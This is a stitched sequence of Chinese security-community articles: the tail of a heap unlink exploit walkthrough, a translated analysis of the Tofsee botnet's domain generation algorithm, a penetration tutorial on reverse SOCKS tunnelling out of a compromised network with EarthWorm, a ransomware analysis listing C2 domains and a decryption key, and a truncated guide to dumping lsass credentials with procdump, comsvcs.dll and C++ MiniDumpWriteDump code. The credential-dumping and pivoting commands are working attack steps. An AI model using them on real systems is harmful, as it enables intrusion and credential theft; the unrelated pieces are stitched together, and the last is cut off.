0x603120 PREV_INUSE {
prev_size = 0,
size = 134881,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
看到了吗,这里chunk1的prev_size已经被设为了0x80,这也就意味着系统向前找chunk的时候会向前0x80找到我们的fake_chunk
pwndbg> p/x 0x603090-0x80
$27 = 0x603010
但这并不够,我们需要伪造chunk1是free态的chunk,那么只需要把标志位设位0就好了,程序继续运行到下一断点
42 chunk1_hdr[1] &= ~1;
这里是一个赋0的操作
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x602058,
bk_nextsize = 0x602060 <stderr@@GLIBC_2.2.5>
}
0x603090 {
prev_size = 0x80,
size = 0x90,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603120 PREV_INUSE {
prev_size = 0,
size = 134881,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
好了,万事具备,只欠东风:)
free chunk1,这时就会发生unlink(为什么请看文章开头unlink时机
这里就是触发了free的后向合并从而调用unlink函数,此时的堆结构
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x20ff1,
fd_nextsize = 0x602058,
bk_nextsize = 0x602060 <stderr@@GLIBC_2.2.5>
}
0x603090 {
prev_size = 128,
size = 144,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603120 PREV_INUSE {
prev_size = 0,
size = 134881,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
我们现在给chunk0_ptr[3]赋值,将chunk0_ptr[3]指向victim_string的内存
pwndbg> p/x &victim_string
$40 = 0x7fffffffe640
pwndbg> p/x chunk0_ptr
$31 = 0x7fffffffe640
pwndbg> p/x chunk0_ptr[3]
$37 = 0x7ffff7a2d830
这时我们可以发现,我们虽然修改的是chunk0_ptr[3],但其实修改的是chunk0_ptr的值
让程序继续跑,修改一下chunk0_ptr的值
pwndbg> p victim_string
$63 = "BBBBAAAA"
完美:)
## 总结
依旧,程序先是弄了一个全局变量chunk0_ptr,紧接着给他申请了0x80实际上是0x90的内存空间
之后新建了一个大小一样的chunk1_ptr
这时我们要确定的是我们的全局指针是chunk0_ptr,要攻击的chunk是chunk1_ptr
之后程序构造了P->FD->BK=P和P->BK->FD=P的条件,想要伪造一个fake_chunk
假设我们拥有溢出的能力,修改chunk1_ptr的pre_size域让系统认为我们的上一个chunk是我们伪造的fake
chunk,并且将chunk1_ptr的size域标志位置0以伪造其被free的假象
然后程序free掉了chunk1触发了free的后向合并从而调用了unlink函数,此时我们的攻击就算结束了
而程序的攻击效果就是将本来是P处的指针变为了P-0x18的指针,我们就拥有了任意内存读写的能力,over~ | 社区文章 |
# 【技术分享】采用独特域名生成算法的Tofsee僵尸网络
|
##### 译文声明
本文是翻译文章，文章来源：govcert.admin.ch
原文地址：<https://www.govcert.admin.ch/blog/26/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：140RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**概述**
瑞士政府计算机应急响应中心(GovCERT)近日发现了Tofsee僵尸网络恶意软件的新样本，让他们感到惊讶是，Tofsee的域名竟然是由算法随机生成的，目前他们已经恢复出了算法的细节，并将未来12个月中可能出现的域名列入了黑名单。
**内容**
今天，我们发现了一个有趣的恶意软件样本，我们确认出这是Tofsee恶意软件，它试图在几分钟内发送数百封垃圾邮件，然而，这并不是它出现在我们视线中的原因（我们每天分析数以千计的恶意软件样本，很多都有这样的行为）。这个特定的样本引起我们注意的原因是它所使用的域名查询方法。它使用的域名似乎是用算法生成的，并且大约有一半域名是瑞士国家顶级域名（ccTLD）。
使用域名生成算法(DGAs)的恶意软件是非常罕见的。
**分析**
我们分析的这个Tofsee样本有一个非常新的时间戳：“2016年12月16日星期五，07:09:11”。
**生成种子**
下面我们来探讨DGA的具体过程。首先，计算1974年1月1日0时到现在的秒数（下图中 0x40A0A0），然后在
0x0040A0A8处，用这个值加再加上126230400秒(UNIX纪元到1974年1月1日的秒数)，实际上，通过上面的步骤得到了当前的UNIX时间。目前我们尚不清楚为什么要采用这种复杂的方法获取当前UNIX时间。这个Unix时间分别再除以四个整数，分别是60,60,24和7，最后得到的是从UNIX纪元到现在的周数。这个值用作域名生成算法的种子。因此域名的有效期是一周，按UTC时间，从每周四开始。
在种子生成过程中还调用了一个伪随机数发生器(PRNG)，并将结果模10，得到0到9中的一个数。这个随机数发生器采用Borland
C/C++编译器使用的标准线性同余算法。
r2的初始值是几乎不可预测的：
**DGA**
每次域名生成过程，共产生10个域名。
(域名级别是网址分类的一个标准，包括顶级域名、二级域名等。一个完整的域名由二个或二个以上部分组成，各部分之间用英文的句号"."来分隔，倒数第一个"."的右边部分称为顶级域名（TLD），顶级域名的左边部分字符串到下个"."为止称为二级域名（SLD），二级域名的左边部分称为三级域名，以此类推，每一级的域名控制它下一级域名的分配)
在0x040A0FC
位置，根据种子生成一个随机字符串，例如周数。随后这个随机字符串在0x040A114又被复制了一次。例如：字符串dqg在这变成了dqgdqg，这个字符串的生成细节，待会我们回过头来再细讲。
生成第一个SLD时，用上面讲到的不可预测的随机数生成算法(0到9共10个数)，选取“a”到“j”之间(共10个字母)的随机字母，添加到上面的字符串后面，就生成了二级域名，如dqgdqgc.ch。然后，从选取的字母开始，DGA会依次选取a到j中的字母，比如，如果第一次选取了“c”，后面的依次就是“d”,“e”,“f”,“g”,“h”,“j”,“a”，最后是“b”,共10个域名。
前5个域名的顶级域名设为“.ch”，剩下的设置为“.biz”
下面，我们再来看一下0x040A0FC处的随机字符串(上面的dqgdqg)是怎么生成的。
这段过程使用了最开始生成的种子r(周数),例如，根据1970年1月到现在的时间，换算成周数，利用周数得出随机字符串，如下：
例如：2016年12月20日，根据UNIX纪元计算出的周数是r=2450，string1 =
2450%26+‘a’=g，r=2450/26=94，因此第一个字母是g，同时r!=0，继续循环，直到r=0时结束，最后依次得到的字母是:g、q、d。随后，随机字符串gqd被倒序为dqg。随后又被复制了一次，得到dqgdqg。
**程序实现**
下面是用python实现在DGA算法，根据给定的日期，能打印出所有20个可能的域名。需要注意的是，对于每一个正在运行的Tofsee恶意软件，只会用到其中的一个域名。
下面是在日期设置为2016年12月20日时的所有20个可能的域名：
**域名列表**
下表列出了未来52周的所有可能的域名，域名中括号包含了随机扩展，如dqgdqg{a..j}.{ch,biz}代表20个不同的域名。所有的时间都采用CET(中欧时间)时间。
**采取的行动**
为了防止这种Tofsee僵尸网络操作者滥用瑞士域名空间(ccTLD
.ch)，我们和瑞士国家顶级域名注册机构已经采取了进一步的措施，所有可能的DGA域名的组合，在注册状态处已经被设置为非注册状态。因此在未来12个月，任何由DGA算法生成的域名，都不会被注册。
**参考链接**
<https://www.easyaq.com/newsdetail/id/1946003877.shtml> | 社区文章 |
# 【技术分享】内网漫游之SOCKS代理大结局
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[shuteer](http://bobao.360.cn/member/contribute?uid=1268998211)
预估稿费：400RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0×01 引言**
在实际渗透过程中，我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口，比如内网的3389端口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具，进行端口转发。
适用端口转发的网络环境有以下几种：
1\. 服务器处于内网，可以访问外部网络。
2\. 服务器处于外网，可以访问外部网络，但是服务器安装了防火墙来拒绝敏感端口的连接。
3\. 服务器处于内网，对外只开放了80端口，并且服务器不能访问外网网络。
对于以上三种情况，lcx可以突破1和2二种，但是第3种就没有办法了，因为lcx在使用中需要访问外部网络。
这里的第3种就可以用到我们今天重点要讲的SOCKS代理。Socks是一种代理服务，可以简单地将一端的系统连接到另外一端。支持多种协议，包括http、ftp请求及其它类型的请求。它分socks
4 和socks 5两种类型，socks 4只支持TCP协议而socks 5支持TCP/UDP协议，还支持各种身份验证机制等协议。其标准端口为1080。
Socks在渗透测试中使用特别广泛，能够很方便让我们与目标内网计算机之间通信，避免了一次又一次使用端口转发的麻烦。比较常见的Socks5工具有htran，reGeorg等，socks4的有metasploit。
在实际渗透测试过程中，当我们成功的拿下第一台堡垒机后，此时我们又想对目标内网进一步渗透测试时，socks能够帮助我们更加快速的，方便的访问目标内网的各种资源，比传统的端口转发更加实用。
**0×02 渗透环境**
此次渗透的环境：左侧是我的个人电脑（内网）和一台有公网IP的VPS，右侧是一个小型内网。假设我们现在已经渗透了一台WEB服务器，该服务器内网IP为10.48.128.25。经过扫描，右侧小型内网网络结构如图所示。其中我们控制的WEB服务器是连接外网和内网的关键节点，内网其他服务器均不能直接连接。图是我老婆用CAD画的，还不错吧！:
)
**0×03 socket端口转发**
首先我们介绍下最为经典也是使用最为频繁的端口转发工具lcx，lcx.exe 是一个基于 socket 套接字实现的端口转发工具，它是从 linux
下的htran
工具移植到windows平台的。一条正常的socket隧道必具备两端，一侧为服务端，它会监听一个端口等待客户端连接；另一侧为客户端，通过传入服务端的ip和端口，才能主动连接到服务器。
比如要转发上图中目标机器10.48.128.25的3389端口：
**1、在目标机器10.48.128.25上执行**
lcx.exe –slave 139.XXX.XX.113 9000 10.48.128.25 3389
此段命令意思是将目标机器3389端口的所有数据都转发到公网VPS的9000端口上。
**2、在VPS上执行**
lcx.exe –listen 9000 5555
此段命令意思是将本机9000端口上监听到的所有数据转发到本机的5555端口上。
**3、在左侧的My PC机上用mstsc登陆139.XXX.XX.113:5555或者在VPS上用mstsc登陆127.0.0.1:5555。**
即可访问右侧内部网络中10.48.128.25服务器的3389端口。
Lcx工具实现的是一对一的端口转发，如果想访问右侧网络中列出的所有端口，就必须一次次的重复lcx的转发过程，效率相当低下。而且服务器都是有装有杀毒软件的，即使有做免杀也不能保证绕过所有的杀毒。
像这种情况就可以用到socks代理，在10.48.128.25这台既能连接互联网又能连接内网的WEB服务器上架设代理。
**0×04 SOCKS代理工具**
socks代理其实也可理解为一个增强版的
lcx，它在服务端监听一个服务端口，当有新的连接请求时会从socks协议中解析出访问目标的URL的目标端口，再开始执行lcx的具体功能。网络上Socks代理工具有很多，选用的时候尽可能使用无GUI界面的工具，还有尽可能不需要安装其他依赖软件，能够支持多平台操作系统的更佳。
**1\. Earthworm** 工具网址：<http://rootkiter.com/EarthWorm>
EW 是一套便携式的网络穿透工具，具有 SOCKS
v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite，工具网址：<http://rootkiter.com/Termite/>
**2.reGeorg** 工具网址：<https://github.com/NoneNotNull/reGeorg>
reGeorg是reDuh的升级版，主要是把内网服务器的端口通过http/https隧道转发到本机，形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透，服务器必须支持aspx、php或jsp这些web程序中的一种。
**3.sSocks** 工具网址：<http://sourceforge.net/projects/ssocks/>
sSocks是一个socks代理工具套装，可用来开启socks代理服务，支持socks5验证，支持IPV6和UDP，并提供反向socks代理服务，即将远程计算机作为socks代理服务端，反弹回本地，极大方便内网的渗透测试，其最新版为0.0.13。
**4.SocksCap64** 工具网址：<http://www.sockscap64.com> (需翻墙)
SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改,
即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。
**5.proxychains** 工具网址：<http://proxychains.sourceforge.net/>
Proxychains是一款在LINUX下可以实现全局代理的软件，性能相当稳定可靠。在使任何程序通過代理上網，允許TCP和DNS通過代理隧道，支持HTTP、SOCKS4、SOCKS5類型的代理服務器，支持proxy
chain，即可配置多個代理，同一個proxy chain可使用不同類型的代理服務器。
**0×05 架设代理服务端**
在实际渗透测试中，我经常使用的socks工具是EW，该程序体积很小，LINUX的只有30KB左右，Windows下面的也只有56KB，而且不需要再做其他设置，真的是居家旅行之必备之物。
下载打开EW软件文件夹，可以看到有针对各种系统用的程序，如下图：
根据你实际的操作系统选用就可以了，因为我们此次渗透是WINDOWS的所以就用ew_for_win.exe这个程序了。EW的使用也非常简单，该工具共有 6
种命令格式（ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran）。
首先介绍用于普通网络环境的正向连接ssocksd命令和反弹连接rcsocks命令、rssocks命令，再介绍用于复杂网络环境的多级级联。
# 简单解释下正向代理和反向代理的区别，正向代理就是我们主动通过proxy来访问目标机器，反向代理就是目标机器通过proxy主动来连接我们。
**1\. 正向socks v5服务器** 适用于目标机器拥有一个外网IP
ew –s ssocksd –l 888
上述命令架设了一个端口为888，SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。比较简单就不演示了。
**2\. 反弹socks v5服务器** 适用于目标机器没有公网IP，但可访问内网资源
A． 先上传ew 到左侧ip地址为139.XXX.XX.113公网VPS的C盘上，运行下列命令：
ew -s rcsocks -l 1008 -e 888
该命令的意思是在我们公网VPS上添加一个转接隧道，把1080端口收到的代理请求转交给888端口
B． 上传EW到右侧IP地址为10.48.128.25的WEB服务器C盘上，运行下列命令：
ew -s rssocks -d 139.XXX.XX.113 -e 888
该命令的意思是在10.48.128.25上启动SOCKS V5服务，并反弹到IP地址为139.XXX.XX.113左侧公网VPS的888端口上。
C．
返回我们公网VPS的CMD界面下，可以看到已经反弹成功了。现在就可以通过访问139.XXX.XX.113:1008端口使用在右侧10.48.128.25架设的SOCKS5代理服务了。
**3.二级网络环境（一）**
假设我们获得了右侧A主机和B主机的控制权限，A主机配有2块网卡，一块连通外网，一块10.48.128.25只能连接内网B主机，无法访问内网其它资源。B主机可以访问内网资源，但无法访问外网。
A.先上传ew到B主机，利用ssocksd方式启动888端口的SOCKS代理，命令如下：
ew -s ssocksd -l 888
B.上传ew到右侧A主机，运行下列命令：
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
该命令意思是将1080端口收到的代理请求转交给B主机（10.48.128.49）的888端口。
C.可以通过访问A主机外网139.XXX.XX.113:1080来使用在B主机架设的socks5代理。
**4.二级网络环境（二）**
假设我们获得了右侧A主机和B主机的控制权限，A主机没有公网IP，也无法访问内网资源。B主机可以访问内网资源，但无法访问外网。
这个操作分为4步，用到lcx_listen和lcx_slave命令：
A. 先上传ew 到左侧公网VPS上，运行下列命令：
ew –s lcx_listen –l 10800 –e 888
该命令意思是在公网VPS添加转接隧道，将10800端口收到的代理请求转交给888端口。
B.上传ew到右侧B主机，并利用ssocksd方式启动999端口的socks代理，命令如下：
ew -s ssocksd -l 999
C.上传ew 到右侧A主机，运行下列命令：
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999
该命令意思是在A主机上利用lcx_slave方式，将公网VPS的888端口和B主机的999端口连接起来。
D. 返回我们公网VPS的CMD界面下，可以看到已经连接成功了。
现在就可以通过访问公网VPS地址 139.XXX.XX.113:10800来使用在B主机架设的socks5代理。
**5.三级网络环境**
三级网络环境在实际渗透中用的比较少，也比较复杂，现在我们来一个个的讲解下三级级联的用法。
假设渗透场景：右侧内网A主机没有公网IP但可以访问外网，B主机不能访问外网但可以被A主机访问、C主机可被B主机访问而且能够访问核心区域。
A.在左侧公网VPS上运行命令，将1080端口收到的代理请求转交给888端口：
ew -s rcsocks -l 1080 -e 888
B.在A主机上运行命令，将公网VPS的888端口和B主机的999端口连接起来：
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999
C.在B主机上运行命令，将999端口收到的代理请求转交给777端口：
ew -s lcx_listen -l 999 -e 777
D.在C主机上启动SOCKS V5服务，并反弹到B主机的777端口上，命令如下。
ew -s rssocks -d 10.48.128.12 -e 777
E.在MY PC上可以通过访问公网VPS 139.XXX.XX.113:1080来使用在C主机架设的socks5代理。
整个数据流向是：SOCKS V5 → 1080 → 888 →999 →777 → rssocks
**0×06 内网漫游**
**1.Windows下使用sockscap64**
首先下载安装好SocksCap64后，以管理员权限打开。默认浏览器已经添加。
使用比较简单，点击代理，点击添加一个代理，然后设置下代理服务器IP和端口就可以使用了。设置好后可以点击软件右边有个闪电的小圆点，测试下当前代理服务器是否可以连接，如下图，连接是正常的。
这个时候就可以选择浏览器，右击在代理隧道中运行选中的程序，然后我们就可以自由访问我们想访问的内网资源了，比如我们可以访问10.48.128.22路由的80端口，如下图：
可以看到我们已经成功的通过socks代理漫游内部网络WEB资源，我们接着看看还有哪些程序能够利用SOCKSCAP的程序通过代理访问内网中的哪些端口了？
尝试登陆10.48.128.20的3389端口，可以看到成功登陆。
我们可以在我们的公网VPS的命令行下可以看到，不停的有数据的交换。再尝试PUTTY访问10.48.128.49的22端口，成功登陆。
再试试VNC端口，因为10.48.128.25开了5900端口，OK，成功访问。大家可以看到这种利用SOCKS代理实现一对多端口映射的优势立刻就体现了出来，效率倍增。
但是将扫描工具进行SOCKSCAP代理，然后对内网网段进行扫描，我没有尝试成功，大家可以多多的尝试各种工具!我在代理下用扫描工具一般都是用proxychains，大家接着往下看！
**2.LINUX下使用proxychains**
KALI系统已经预装好了这个工具，我们稍作配置就可以使用，打开终端，输入命令：
vi /etc/proxychains.conf
# 顺便补充下LINUX下Vim编辑器简单使用方法
使用上面命令进入文本后，摁“i”键就进入了编辑模式，可以对文本进行修改，修改完后摁esc 然后摁住shift+； 左下角会出现一个冒号，如下图。
这个时候输入wq，摁回车保存并退出。
第一步先删掉dynamic_chain前面的注释符（也就是#符号），如下图
然后拉到最下面，把默认是socks4 127.0.0.1 9050 的地方改成我们架设的代理服务139.XXX.XX.113 1008
这样就设置完成了，我们接着测试下代理服务是否正常，在终端输入
proxyresolv www.baidu.com
此时如上图所示会显示未找到命令，不要担心，继续在终端输入下列命令
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
然后再次测试下代理服务器是否正常，如下图，显示OK就表示配置正确了。
现在我们就可以愉快的畅游内网了，照例先访问内网网站试试看，我们先在终端输入proxychains firefox启动火狐浏览器。
等个几秒钟，火狐就打开了，我们还是访问10.48.128.22路由的80端口看看。
顺利打开，可以看到kali里面的数据不停的交换，我们再打开10.48.128.48看看，也是可以访问的，一个Zend服务器测试页。
接着就到了我们的重头戏了，我们找几个具有代表性的工具试试，先看看NMAP和SQLMAP好使不!
如上图所示，均表示相当好使，我们最后再试试大杀器-Metasploit可不可以用。
我们随便找个IP扫扫看端口，如下图所示，已经开始扫描了。
其他工具就不再一一介绍了。
The End.
最后感谢rootkiter写出了如此优秀的软件。
**QQ群：282951544 欢迎各位的交流和批评指正！** | 社区文章 |
# 【技术分享】Magnitude Exploit Kit卷土重来——目标针对亚太地区国家
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/10/magniber-ransomware-infects-only-the-right-people.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[紫曦归来](http://bobao.360.cn/member/contribute?uid=2937531371)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
Exploit kit作为一款漏洞利用工具包，一直深受网络犯罪分子喜爱。使用Exploit
kit进行网络攻击的事件2016年末呈明显下降趋势，但近期这一趋势被打破。Magnitude EK漏洞利用工具包开始在全球，尤其是亚太地区肆虐。
FireEye2017年3月发布的《动态威胁报告》中列出了黑客利用Magnitude
EK漏洞利用工具包2016年最后一个季度和2017年第一季度进行攻击的全球分布情况，如图1所示：
图1：利用Magnitude EK工具包进行攻击的地区分布图
黑客开始利用Magnitude
EK针对亚太地区国家进行网络攻击，一直持续到了2017年9月末。其中最严重的莫过于韩国。10月15日，黑客开始主要针对韩国发动攻击。此前，Magnitude
EK的作者集成了多种漏洞的利用代码，并用于传送Cerber这样的勒索软件。近日，Magnitude EK工具包新添有效载荷——勒索软件Magniber。
**感染**
10月15日，利用Magnitude EK进行网络攻击开始重回公众视野，受害者被恶意广告导向包含Exploit
Kit的登陆页（域名：fastprofit[.]loan）。感染链条如图2所示：
图2：感染链条
Magnitude EK的登录页面包含CVE-2016-0189漏洞。FireEye最初曝光了该漏洞。FireEye发现该漏洞被集成到[Neutrino
Exploit Kit](https://www.fireeye.com/blog/threat-research/2016/07/exploit_kits_quickly.html)漏洞利用工具包中。如图3所示是Magnitude
EK的登录页面（其中包含有CVE-2016-0189漏洞）：
图3：Magnitude EK的登录页面
在此前的案例中，Magnitude EK 使用图片中红色部分的请求感染以下web服务器：
**“Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6”**
图4：Magnitude EK使用的payload(见红色部分)以及服务器返回的纯exe文件
**攻击有效载荷**
****
此前，趋势科技发布的报告显示Magnitude EK漏洞开发工具包新添有效载荷就是勒索软件
Magniber。这一勒索软件仅针对韩国地区发起攻击。调查显示，勒索软件Magniber **仅在检测到韩语的系统上才会开始恶意操作。**
Magniber使用 **AES128加密算法**
。研究中使用的样本（dc2a2b84da359881b9df1ec31d03c715）是从FireEye2017年3月发布的《动态威胁报告》中提取的。但需要注意的是，此次选取的样本与趋势科技报告中所公布的哈希值有所不同，但两者呈现相同的行为并共享感染载体，且两者公布的时间大致相同。
恶意软件在其资源部分包含使用 **RC4反向加密**
的二进制有效载荷，从缓冲区的末尾向开头解压。反向RC4解密密钥长度为30个字节，并且还包含非ASCII字符。如下所示：
dc2a2b84da359881b9df1ec31d03c715 RC4 key:
{ 0x6b, 0xfe, 0xc4, 0x23, 0xac, 0x50, 0xd7, 0x91, 0xac, 0x06, 0xb0, 0xa6,
0x65, 0x89, 0x6a, 0xcc, 0x05, 0xba, 0xd7, 0x83, 0x04, 0x90, 0x2a, 0x93, 0x8d,
0x2d, 0x5c, 0xc7, 0xf7, 0x3f }
该恶意软件调用 **GetSystemDefaultUILanguage**
来获取系统语言。如果系统语言不是韩语，则会退出（如图5所示）。在解压之后，恶意软件开始执行攻击载荷。
图5：攻击主要针对韩国地区
创建名为“ihsdj”的互斥体以防止多次执行。此后，攻击的有效载荷根据多个 **GetTickCount**
调用的CPU时钟生成一个19个字符的伪随机字符串。该字符串被用于在用户计算机中创建一个 **%TEMP%**
目标（例如“xxxxxxxxxxxxxxxxxxx.ihsdj”）。其中包含AES128加密的IV（初始化向量）和名称为“ihsdj”的恶意软件副本。
接下来，恶意软件创建了4个URL回调地址，主要利用此前生成的19个字符的伪随机字符串，和以下的域名来创建URL：
bankme.date
jobsnot.services
carefit.agency
hotdisk.world
为了逃避沙箱（sandbox），恶意软件检测是否在VM中运行，并将其附加在回调地址中，主要通过在RDTSC命令之间插入并执行CPUID指令来实现。如图6所示：
图6：检测VM存在的CPUID指令
上述检测VM的过程要持续多次，以收集CPUID的平均执行时间，如果平均执行时间大于1000，则可认定系统为VM。如果测试失败，且恶意软件认定系统为VM，则会在URL地址末尾加上“1”（如图7所示）；如果结果相反，URL地址末尾则会被添加上“0”。URL的格式如下：
http://[19 character pseudorandom string].[callback domain]/new[0 or 1]
测试例子如下：
http://7o12813k90oggw10277.bankme[.]date/new1
http://4bg8l9095z0287fm1j5.bankme[.]date/new0
图7：命令和控制通信
如果恶意软件在加密后被再次执行，则回调URL将以“end0”或“end1”结尾，而不是“new”，例如：
hxxp://j2a3y50mi0a487230v1.bankme[.]date/end1
此后，恶意软件开始加密系统上的用户文件，通过在末尾添加“.ihsdj”扩展名进行文件重命名。所分析的样本的AES128和IV公钥为：
IV: EP866p5M93wDS513
Public Key AES128: S25943n9Gt099y4K
用户的 **%TEMP%**
目录中就被创建了一个名为“READ_ME_FOR_DECRYPT_xxxxxxxxxxxxxxxxx_.txt”的文档。交付赎金的信息如图8所示：
图8：用户计算机上显示的交付赎金信息
恶意软件还添加了计划任务，通过程序兼容性助手在 **%TEMP%** 目录中运行其副本，并加载用户消息：
**chtasks /create /SC MINUTE /MO 15 /tn ihsdj /TR "pcalua.exe -a
%TEMP%ihsdj.exe**
**schtasks /create /SC MINUTE /MO 15 /tn xxxxxxxxxxxxxxxxxxx /TR
%TEMP%READ_ME_FOR_DECRYPT_xxxxxxxxxxxxxxxxxxx_.txt**
恶意软件在退出后发出了一个命令以自我销毁，可使用下面这组本地的ping码，以延迟恶意软件自我销毁：
cmd /c ping localhost -n 3 > nul & del C:PATHMALWARE.EXE)
图9中所示是解压恶意软件有效载荷的Python代码。代码使用RC4反向加密：
图9：用于解压恶意软件有效载荷的Python脚本
**结语**
****
勒索软件对企业构成的威胁越来越大。虽然目前大多数勒索软件主要使用邮件进行攻击活动，但使用exploit
kits进行网络攻击的案例也在不断增加。部分企业目前还在使用较为陈旧的软件，有的企业没有对网络设置拦截系统，这些都增加了遭受攻击的可能性。各大公司和企业需要确保其网络漏洞已被修复，从而避免遭受勒索软件的攻击。
**IOCs**
**Malware Sample Hash**
dc2a2b84da359881b9df1ec31d03c715 (decryption key shared)
**Malverstiser Domains**
fastprofit[.]loan
fastprofit[.]me
**EK Domain Examples**
3e37i982wb90j.fileice[.]services
a3co5a8iab2x24g90.helpraw[.]schule
2i1f3aadm8k.putback[.]space
**C &C**
3ee9fuop6ta4d6d60bt.bankme.date
3ee9fuop6ta4d6d60bt.jobsnot.services
3ee9fuop6ta4d6d60bt.carefit.agency
3ee9fuop6ta4d6d60bt.hotdisk.world | 社区文章 |
# 域渗透-一文了解lsass内存转储攻防技术
## 引言
转储内存是域渗透中重要的一个环节。随着攻防对抗的升级，安全产品出现了如内存保护、PPL、杀dump文件、APIhook等防御手段，传统的内存转储技术在实战中已经逐渐无法使用。本文将由浅入深的介绍常见的内存转储技术，针对不同的防护原理给出不同的dump内存方法。
## 常规手段
### mimikatz::logonpasswords
在<https://improsec.com/tech-blog/mimikatz-under-the-hood>
这篇文章中，作者自己实现了logonpasswords模块，主要分为几个步骤：
1. 获取sebug权限
2. 打开lassass进程，并找到lsass加载的lsasrv.dll模块。
3. 在lsasrv.dll模块内存中搜索一个已知的表达式，表达式是lsasrv.dll中LsaInitializeProtectedMemory函数的一部分。
4. 通过固有的某些偏移量获取到指向 IV 和 AES/DES 密钥的指针
5. 根据已知表达式和偏移，找到 内存中的logon sessions部分。遍历并解析出用户名、域名、密码等信息，这里本地测试出现问题：
没有定位到logon sessions，怀疑是匹配的表达式不正确。看一下mimikatz：
mimikatz定位的表达式不一样，工具作者表达式源自：
<https://github.com/skelsec/pypykatz/blob/master/pypykatz/lsadecryptor/packages/msv/templates.py>
修改止当前机器版本对应的表达式后，可以成功：
6. 通过之前获取到的 IV 和 AES/DES 密钥解密hash
原作者使用了syscall，该工具在没有做任何免杀的情况下静态能过大多数杀软：
## 白名单工具
> 我们通常将这些工具称为LOLBins，指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。
### procdump + mimikatz
procdump.exe -accepteula -ma lsass.exe lsass.dmp
// or avoid reading lsass by dumping a cloned lsass process
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
使用mimikatz解dump文件
### avdump
avdump是杀软Avast包含的程序，具有可信签名
.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0
### sqldumper.exe
### rdleakdiag.exe
### adplus.exe
### rundll32 minidump
.\rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump pid C:\temp\lsass.dmp full
有的时候cmd没有sedbug权限，而powershell有，优先使用powershell执行：
## 多语言编程实现
### C++
主要依赖MiniDumpWriteDump：
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Find lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
### C
主要通过C#调用windows api实现：
<https://github.com/GhostPack/SharpDump/blob/master/SharpDump/Program.cs>
结合反射加载可以绕过很多不保护内存的杀软，如definder、sysmantec等。
### PS
依旧是使用MiniDumpWriteDump：
